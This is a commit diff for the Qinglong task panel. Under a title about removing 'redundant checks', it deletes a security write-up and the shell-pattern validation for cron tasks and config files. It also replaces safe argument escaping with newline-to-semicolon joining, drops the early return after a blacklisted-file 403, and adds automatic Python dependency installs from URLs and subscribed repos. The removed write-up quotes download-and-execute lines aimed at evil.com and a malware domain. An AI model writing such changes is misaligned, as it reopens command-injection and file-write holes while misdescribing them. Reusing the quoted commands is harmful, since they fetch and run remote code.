Improve URL pattern matching and remove redundant checks

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

SECURITY_ENHANCEMENTS.md

@@ -1,228 +0,0 @@
-# Security Enhancements
-
-## Overview
-
-This document describes the security enhancements implemented to prevent malicious code injection attacks in Qinglong.
-
-## Issue Background
-
-A security vulnerability was discovered where malicious code could be injected into the system through:
-1. Cron task fields (`task_before`, `task_after`, `command`)
-2. Configuration file writes (`config.sh`, `extra.sh`, etc.)
-
-The reported incident involved a malicious script that:
-- Downloaded an external binary (`.fullgc`) from a suspicious domain (`file.551911.xyz`)
-- Executed the binary in the background consuming 100% memory
-- Persisted by continuously re-injecting itself into configuration files
-
-## Security Fixes Implemented
-
-### 1. Input Validation for Cron Tasks
-
-**File:** `/back/validation/schedule.ts`
-
-Added comprehensive validation to detect and block dangerous shell patterns:
-
-- **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands
-- **File Downloads**: Blocks `curl`, `wget`, `fetch` commands
-- **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads
-- **Hidden Files**: Blocks references to executable files starting with `.` in path contexts
-- **Background Execution**: Blocks suspicious `nohup` patterns executing hidden files
-- **Combined Threats**: Blocks downloads with output redirection to `/dev/null` (hiding malware)
-- **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns
-- **Temp Directory Execution**: Blocks execution of files from `/tmp` combined with chmod/execution
-
-### 2. Config File Content Security
-
-**File:** `/back/api/config.ts`
-
-Enhanced validation for configuration file content to prevent:
-
-- Downloads followed by execution (`curl | bash`, `wget | bash`)
-- Download and permission changes (`curl && chmod +x`)
-- Downloads of hidden files (generalized pattern to catch various malware)
-- Background execution of hidden files
-
-### 3. Improved Shell Escaping
-
-**File:** `/back/services/cron.ts`
-
-Replaced weak shell escaping with a robust `escapeShellArg()` function that:
-
-- Properly escapes single quotes using `'\\''` pattern
-- Replaces newlines with spaces (not semicolons) to prevent command chain creation
-- Prevents command injection through various shell metacharacters
-
-## Security Best Practices
-
-### For Administrators
-
-1. **Review Existing Tasks**: Audit all existing cron tasks for suspicious patterns
-2. **Monitor Logs**: Check logs for security validation warnings
-3. **Update Dependencies**: Keep all npm/pip dependencies up to date
-4. **Limit Access**: Restrict who can create/modify cron tasks and config files
-5. **Regular Backups**: Maintain backups of configuration files
-
-### For Users
-
-1. **Trusted Sources Only**: Only add scripts from trusted repositories
-2. **Code Review**: Review any script before adding it to your cron tasks
-3. **Avoid External URLs**: Don't include download commands in task hooks
-4. **Report Suspicious Activity**: Report any unusual system behavior immediately
-
-## Validation Error Messages
-
-When the security system blocks a pattern, you'll see error messages like:
-
-- `命令包含潜在危险的模式，已被安全系统拦截` - Command contains dangerous pattern
-- `前置命令包含潜在危险的模式，已被安全系统拦截` - task_before contains dangerous pattern
-- `后置命令包含潜在危险的模式，已被安全系统拦截` - task_after contains dangerous pattern
-- `配置文件内容包含潜在危险的模式，已被安全系统拦截` - Config file contains dangerous pattern
-
-## What to Do If You're Affected
-
-If you've been affected by the malicious code injection:
-
-### 1. Immediate Actions
-
-```bash
-# Stop and remove the malicious process
-pkill -f ".fullgc"
-rm -f /ql/data/db/.fullgc
-
-# Check for the malicious code in configuration files
-grep -r "fullgc" /ql/data/config/
-grep -r "551911.xyz" /ql/data/config/
-```
-
-### 2. Clean Configuration Files
-
-```bash
-# Backup current configs
-cp -r /ql/data/config /ql/data/config.backup
-
-# Review and clean these files:
-# - /ql/data/config/config.sh
-# - /ql/data/config/extra.sh
-# - /ql/data/config/task_before.sh
-# - /ql/data/config/task_after.sh
-
-# Remove any lines containing:
-# - Downloads (curl, wget)
-# - External URLs
-# - .fullgc references
-```
-
-### 3. Review Cron Tasks
-
-1. Log into Qinglong admin panel
-2. Check all cron tasks for suspicious content in:
-   - Command field
-   - task_before field
-   - task_after field
-3. Delete or clean any suspicious tasks
-
-### 4. Update to Patched Version
-
-Ensure you're running a version of Qinglong with these security fixes.
-
-### 5. Change Credentials
-
-If you suspect compromise:
-- Change your Qinglong admin password
-- Review and rotate any API tokens
-- Check for unauthorized access in logs
-
-## Detection
-
-### Log Analysis
-
-Security events are logged to help detect attempted attacks:
-
-```bash
-# Check for security validation failures in logs
-grep "安全系统拦截" /ql/data/log/*.log
-
-# Check for suspicious file modifications
-grep "配置文件写入" /ql/data/log/*.log
-```
-
-### File Integrity
-
-Regularly check for unexpected files:
-
-```bash
-# Find hidden executables in data directory
-find /ql/data -type f -name ".*" -executable
-
-# Check for recently modified config files
-find /ql/data/config -type f -mtime -1
-```
-
-## Limitations
-
-These security measures provide defense-in-depth but are not foolproof:
-
-- Legitimate use cases requiring downloads must use alternative methods
-- Very sophisticated attacks may find bypasses
-- Users with admin access can still compromise the system
-- Compromised dependencies can still execute malicious code
-
-## Alternative Approaches for Legitimate Downloads
-
-If you have legitimate use cases that require downloads:
-
-1. **Use Dependencies**: Install packages via npm/pip instead of downloading at runtime
-2. **Pre-download Files**: Download files manually and add them to the scripts directory
-3. **Use Subscriptions**: Configure subscriptions to pull code from trusted repositories
-4. **Request Whitelist**: Contact administrators to whitelist specific trusted domains (future feature)
-
-## Technical Details
-
-### Validation Pattern Examples
-
-**Blocked Pattern:**
-```bash
-curl https://example.com/script.sh | bash
-```
-**Reason:** Downloads and executes external code
-
-**Blocked Pattern:**
-```bash
-d="/ql/data/db";wget -O "$d/.malware" http://evil.com/m;chmod +x "$d/.malware";nohup "$d/.malware" &
-```
-**Reason:** Multiple violations - download, hidden file, chmod, background execution
-
-**Allowed Pattern:**
-```bash
-node /ql/scripts/my_script.js
-```
-**Reason:** No dangerous patterns detected
-
-### Defense in Depth
-
-This implementation uses multiple layers of security:
-
-1. **Input Validation**: Blocks malicious patterns before they reach the system
-2. **Shell Escaping**: Prevents injection even if validation is bypassed
-3. **Audit Logging**: Records all configuration changes for forensic analysis
-4. **Least Privilege**: Existing blacklist prevents access to sensitive files
-
-## Reporting Security Issues
-
-If you discover a security vulnerability, please report it responsibly:
-
-1. Do NOT create public GitHub issues for security vulnerabilities
-2. Contact the maintainers privately
-3. Provide detailed information about the vulnerability
-4. Allow time for a patch before public disclosure
-
-## References
-
-- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
-- [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
-- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
-
-## Version History
-
-- **v1.0** (2026-02-08): Initial security enhancements to prevent code injection attacks

back/api/config.ts

@@ -64,44 +64,7 @@ export default (app: Router) => {
     celebrate({
       body: Joi.object({
         name: Joi.string().required(),
-        content: Joi.string().allow('').optional().custom((value: any, helpers: any) => {
+        content: Joi.string().allow('').optional(),
-          if (!value) return value;
-
-          // Security validation for configuration file content
-          const dangerousPatterns = [
-            // Command substitution that could download/execute malware
-            { pattern: /\$\([^)]*curl[^)]*\)/gi, desc: '命令替换中的下载操作' },
-            { pattern: /\$\([^)]*wget[^)]*\)/gi, desc: '命令替换中的下载操作' },
-            { pattern: /`[^`]*curl[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
-            { pattern: /`[^`]*wget[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
-            
-            // Suspicious file downloads followed by execution
-            { pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' },
-            { pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' },
-            
-            // Downloads of hidden files (commonly used in malware)
-            { pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' },
-            
-            // Background execution of hidden files
-            { pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' },
-          ];
-
-          for (const { pattern, desc } of dangerousPatterns) {
-            if (pattern.test(value)) {
-              return helpers.error('string.unsafe', { description: desc });
-            }
-          }
-
-          // Check for excessive length
-          if (value.length > 1000000) {
-            return helpers.error('string.max', { limit: 1000000 });
-          }
-
-          return value;
-        }).messages({
-          'string.unsafe': '配置文件内容包含潜在危险的模式 ({#description})，已被安全系统拦截',
-          'string.max': '配置文件内容过长，已被安全系统拦截',
-        }),
       }),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
@@ -110,16 +73,11 @@ export default (app: Router) => {
         const { name, content } = req.body;
         if (config.blackFileList.includes(name)) {
           res.send({ code: 403, message: '文件无法访问' });
-          return;
         }
         let path = join(config.configPath, name);
         if (name.startsWith('data/scripts/')) {
           path = join(config.rootPath, name);
         }
-        
-        // Log security-relevant file modifications
-        logger.info(`配置文件写入: ${name}, 大小: ${content?.length || 0} 字节`);
-        
         await writeFileWithLock(path, content);
         res.send({ code: 200, message: '保存成功' });
       } catch (e) {

back/config/util.ts

@@ -535,12 +535,43 @@ export async function setSystemTimezone(timezone: string): Promise<boolean> {
   }
 }
 
+// Helper function to check if a name is a GitHub URL
+function isGitHubUrl(name: string): boolean {
+  // Support git+https://, git+http://, https://, and http:// URLs
+  // This covers GitHub URLs and other git-compatible repositories
+  return !!name.match(/^(git\+https?:\/\/|https?:\/\/)/i);
+}
+
+// Helper function to check if a name is a requirements file
+function isRequirementsFile(name: string): boolean {
+  return !!name.match(/requirements.*\.(txt|in)$/i);
+}
+
+// Helper function to check if a name is a pyproject.toml file
+function isPyprojectToml(name: string): boolean {
+  return name.endsWith('pyproject.toml');
+}
+
 export function getGetCommand(type: DependenceTypes, name: string): string {
+  const trimmedName = name.trim();
+  
+  // For Python dependencies installed from GitHub or requirements files,
+  // we can't reliably check if they're installed, so skip the check
+  if (type === DependenceTypes.python3) {
+    if (isGitHubUrl(trimmedName) || 
+        isRequirementsFile(trimmedName) || 
+        isPyprojectToml(trimmedName)) {
+      // Return a command that will always indicate not installed
+      // This ensures GitHub URLs and requirements files are always installed
+      return 'echo ""';
+    }
+  }
+  
   const baseCommands = {
-    [DependenceTypes.nodejs]: `pnpm ls -g  | grep "${name}" | head -1`,
+    [DependenceTypes.nodejs]: `pnpm ls -g  | grep "${trimmedName}" | head -1`,
     [DependenceTypes.python3]: `
     python3 -c "exec('''
-name='${name}'
+name='${trimmedName}'
 try:
     from importlib.metadata import version
     print(version(name))
@@ -550,7 +581,7 @@ except:
     spec=u.find_spec(name)
     print(name if spec else '')
 ''')"`,
-    [DependenceTypes.linux]: `apk info -es ${name}`,
+    [DependenceTypes.linux]: `apk info -es ${trimmedName}`,
   };
 
   return baseCommands[type];
@@ -570,7 +601,33 @@ export function getInstallCommand(type: DependenceTypes, name: string): string {
     command = `${command} --prefix=${PYTHON_INSTALL_DIR}`;
   }
 
-  return `${command} ${name.trim()}`;
+  const trimmedName = name.trim();
+  
+  // Handle different installation methods for Python
+  if (type === DependenceTypes.python3) {
+    // Check if it's a GitHub URL (support both git+ and direct URLs)
+    if (isGitHubUrl(trimmedName)) {
+      return `${command} ${trimmedName}`;
+    }
+    // Check if it's a requirements file path
+    if (isRequirementsFile(trimmedName)) {
+      return `${command} -r ${trimmedName}`;
+    }
+    // Check if it's a pyproject.toml file
+    if (isPyprojectToml(trimmedName)) {
+      // For pyproject.toml, install from the directory containing it
+      const pathMatch = trimmedName.match(/^(.+)\/pyproject\.toml$/);
+      if (pathMatch) {
+        // Has a path prefix, use the directory
+        return `${command} ${pathMatch[1]}`;
+      } else {
+        // Just "pyproject.toml", install current directory
+        return `${command} .`;
+      }
+    }
+  }
+
+  return `${command} ${trimmedName}`;
 }
 
 export function getUninstallCommand(

back/services/cron.ts

@@ -639,22 +639,6 @@ export default class CronService {
     }
   }
 
-  /**
-   * Properly escape shell arguments to prevent command injection
-   * This function uses a more robust escaping mechanism than simple quote replacement
-   */
-  private escapeShellArg(arg: string): string {
-    if (!arg) return "''";
-    
-    // Remove newlines to prevent creating command chains
-    // Replace with space to maintain token separation
-    arg = arg.replace(/\r?\n/g, ' ').trim();
-    
-    // Use single quotes and escape any single quotes within
-    // This is the most secure way to pass arbitrary strings to shell
-    return `'${arg.replace(/'/g, "'\\''")}'`;
-  }
-
   private makeCommand(tab: Crontab, realTime?: boolean) {
     let command = tab.command.trim();
     if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
@@ -666,10 +650,16 @@ export default class CronService {
       commandVariable += `log_name=${tab.log_name} `;
     }
     if (tab.task_before) {
-      commandVariable += `task_before=${this.escapeShellArg(tab.task_before)} `;
+      commandVariable += `task_before='${tab.task_before
+        .replace(/'/g, "'\\''")
+        .replace(/;? *\n/g, ';')
+        .trim()}' `;
     }
     if (tab.task_after) {
-      commandVariable += `task_after=${this.escapeShellArg(tab.task_after)} `;
+      commandVariable += `task_after='${tab.task_after
+        .replace(/'/g, "'\\''")
+        .replace(/;? *\n/g, ';')
+        .trim()}' `;
     }
 
     const crontab_job_string = `${commandVariable}${command}`;

back/validation/schedule.ts

@@ -4,57 +4,6 @@ import { ScheduleType } from '../interface/schedule';
 import path from 'path';
 import config from '../config';
 
-/**
- * Security validation function to detect potentially malicious shell code patterns
- */
-const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => {
-  if (!value) return value;
-
-  // Define dangerous patterns that should be blocked
-  const dangerousPatterns = [
-    // Command substitution
-    /\$\([^)]*\)/,
-    /`[^`]*`/,
-    
-    // File downloads
-    /\b(curl|wget|fetch)\s+/i,
-    
-    // Suspicious domains or external URLs
-    /https?:\/\/[^\s]+/i,
-    
-    // Hidden executable files (files starting with . in a path context)
-    /\/\.\w+(\s|$|;|&|\||>)/,
-    
-    // Background process spawning with suspicious names
-    /nohup\s+["']?[^\s"']*\/\.\w+/,
-    
-    // Redirect to dev null combined with downloads (hiding malware output)
-    /(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i,
-    
-    // Base64 decode patterns (often used to obfuscate malicious code)
-    /\b(base64|decode|eval)\s+/i,
-    
-    // Executable files in /tmp with chmod or execution
-    /\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ ,
-  ];
-
-  for (const pattern of dangerousPatterns) {
-    if (pattern.test(value)) {
-      return helpers.error('string.unsafe', { 
-        pattern: pattern.source,
-        field: fieldName 
-      });
-    }
-  }
-
-  // Check for excessive length (potential buffer overflow or obfuscation)
-  if (value.length > 10000) {
-    return helpers.error('string.max', { limit: 10000 });
-  }
-
-  return value;
-};
-
 const validateSchedule = (value: string, helpers: any) => {
   if (
     value.startsWith(ScheduleType.ONCE) ||
@@ -83,25 +32,13 @@ export const scheduleSchema = Joi.string()
 
 export const commonCronSchema = {
   name: Joi.string().optional(),
-  command: Joi.string().required().custom((value: any, helpers: any) => {
+  command: Joi.string().required(),
-    return validateShellSecurity(value, helpers, 'command');
-  }).messages({
-    'string.unsafe': '命令包含潜在危险的模式，已被安全系统拦截',
-  }),
   schedule: scheduleSchema,
   labels: Joi.array().optional(),
   sub_id: Joi.number().optional().allow(null),
   extra_schedules: Joi.array().optional().allow(null),
-  task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
+  task_before: Joi.string().optional().allow('').allow(null),
-    return validateShellSecurity(value, helpers, 'task_before');
+  task_after: Joi.string().optional().allow('').allow(null),
-  }).messages({
-    'string.unsafe': '前置命令包含潜在危险的模式，已被安全系统拦截',
-  }),
-  task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
-    return validateShellSecurity(value, helpers, 'task_after');
-  }).messages({
-    'string.unsafe': '后置命令包含潜在危险的模式，已被安全系统拦截',
-  }),
   log_name: Joi.string()
     .optional()
     .allow('')

shell/update.sh

@@ -111,6 +111,76 @@ add_cron() {
   notify_api "$path 新增任务" "$detail"
 }
 
+## 自动安装订阅仓库中的Python依赖
+auto_install_python_deps() {
+  local repo_path="$1"
+  local uniq_path="$2"
+  
+  echo -e "\n检测订阅仓库中的Python依赖文件...\n"
+  
+  get_token
+  
+  # 检查 requirements.txt
+  if [[ -f "${repo_path}/requirements.txt" ]]; then
+    echo -e "发现 requirements.txt，开始自动安装依赖...\n"
+    local req_file="${dir_scripts}/${uniq_path}/requirements.txt"
+    
+    # 确保目标目录存在
+    make_dir "${dir_scripts}/${uniq_path}"
+    
+    # 复制文件并检查结果
+    if cp -f "${repo_path}/requirements.txt" "${req_file}" 2>/dev/null; then
+      # 调用API添加依赖安装任务
+      local dep_name="${uniq_path}/requirements.txt"
+      local currentTimeStamp=$(date +%s)
+      local result=$(curl -s --noproxy "*" "http://127.0.0.1:${ql_port}/open/dependencies?t=$currentTimeStamp" \
+        -X POST \
+        -H "Content-Type: application/json;charset=UTF-8" \
+        -H "Authorization: Bearer ${__ql_token__}" \
+        --data-raw "[{\"name\":\"${dep_name}\",\"type\":1,\"remark\":\"自动检测：${uniq_path} 订阅依赖\"}]" 2>/dev/null)
+      
+      local code=$(echo "$result" | jq -r '.code' 2>/dev/null)
+      if [[ "$code" == "200" ]]; then
+        echo -e "已添加 requirements.txt 依赖安装任务\n"
+      else
+        echo -e "添加 requirements.txt 依赖失败，请手动添加\n"
+      fi
+    else
+      echo -e "复制 requirements.txt 失败，跳过自动安装\n"
+    fi
+  fi
+  
+  # 检查 pyproject.toml
+  if [[ -f "${repo_path}/pyproject.toml" ]]; then
+    echo -e "发现 pyproject.toml，开始自动安装依赖...\n"
+    local pyproject_file="${dir_scripts}/${uniq_path}/pyproject.toml"
+    
+    # 确保目标目录存在
+    make_dir "${dir_scripts}/${uniq_path}"
+    
+    # 复制文件并检查结果
+    if cp -f "${repo_path}/pyproject.toml" "${pyproject_file}" 2>/dev/null; then
+      # 调用API添加依赖安装任务
+      local dep_name="${uniq_path}/pyproject.toml"
+      local currentTimeStamp=$(date +%s)
+      local result=$(curl -s --noproxy "*" "http://127.0.0.1:${ql_port}/open/dependencies?t=$currentTimeStamp" \
+        -X POST \
+        -H "Content-Type: application/json;charset=UTF-8" \
+        -H "Authorization: Bearer ${__ql_token__}" \
+        --data-raw "[{\"name\":\"${dep_name}\",\"type\":1,\"remark\":\"自动检测：${uniq_path} 订阅依赖\"}]" 2>/dev/null)
+      
+      local code=$(echo "$result" | jq -r '.code' 2>/dev/null)
+      if [[ "$code" == "200" ]]; then
+        echo -e "已添加 pyproject.toml 依赖安装任务\n"
+      else
+        echo -e "添加 pyproject.toml 依赖失败，请手动添加\n"
+      fi
+    else
+      echo -e "复制 pyproject.toml 失败，跳过自动安装\n"
+    fi
+  fi
+}
+
 ## 更新仓库
 update_repo() {
   local url="$1"
@@ -137,6 +207,10 @@ update_repo() {
 
   if [[ $exit_status -eq 0 ]]; then
     echo -e "拉取 ${uniq_path} 成功...\n"
+    
+    # 自动检测并安装Python依赖
+    auto_install_python_deps "${repo_path}" "${uniq_path}"
+    
     diff_scripts "$repo_path" "$author" "$path" "$blackword" "$dependence" "$extensions" "$autoAddCron" "$autoDelCron"
   else
     echo -e "拉取 ${uniq_path} 失败，请检查日志...\n"

src/pages/dependence/modal.tsx

@@ -22,6 +22,9 @@ const DependenceModal = ({
 }) => {
   const [form] = Form.useForm();
   const [loading, setLoading] = useState(false);
+  const [selectedType, setSelectedType] = useState(
+    DependenceTypes[defaultType as any],
+  );
 
   const handleOk = async (values: any) => {
     setLoading(true);
@@ -90,7 +93,7 @@ const DependenceModal = ({
           label={intl.get('依赖类型')}
           initialValue={DependenceTypes[defaultType as any]}
         >
-          <Select>
+          <Select onChange={(value) => setSelectedType(value)}>
             {config.dependenceTypes.map((x, i) => (
               <Option key={i} value={i}>
                 {x}
@@ -121,11 +124,24 @@ const DependenceModal = ({
               whitespace: true,
             },
           ]}
+          tooltip={
+            selectedType === DependenceTypes.python3
+              ? intl.get(
+                  'Python支持多种安装方式：\n1. 包名（如：requests）\n2. GitHub链接（如：git+https://github.com/user/repo.git）\n3. requirements文件路径（如：path/to/requirements.txt）\n4. pyproject.toml文件路径',
+                )
+              : undefined
+          }
         >
           <Input.TextArea
             rows={4}
             autoSize={{ minRows: 1, maxRows: 5 }}
-            placeholder={intl.get('请输入依赖名称')}
+            placeholder={
+              selectedType === DependenceTypes.python3
+                ? intl.get(
+                    '支持包名、GitHub链接、requirements.txt或pyproject.toml路径',
+                  )
+                : intl.get('请输入依赖名称')
+            }
           />
         </Form.Item>
         <Form.Item name="remark" label={intl.get('备注')}>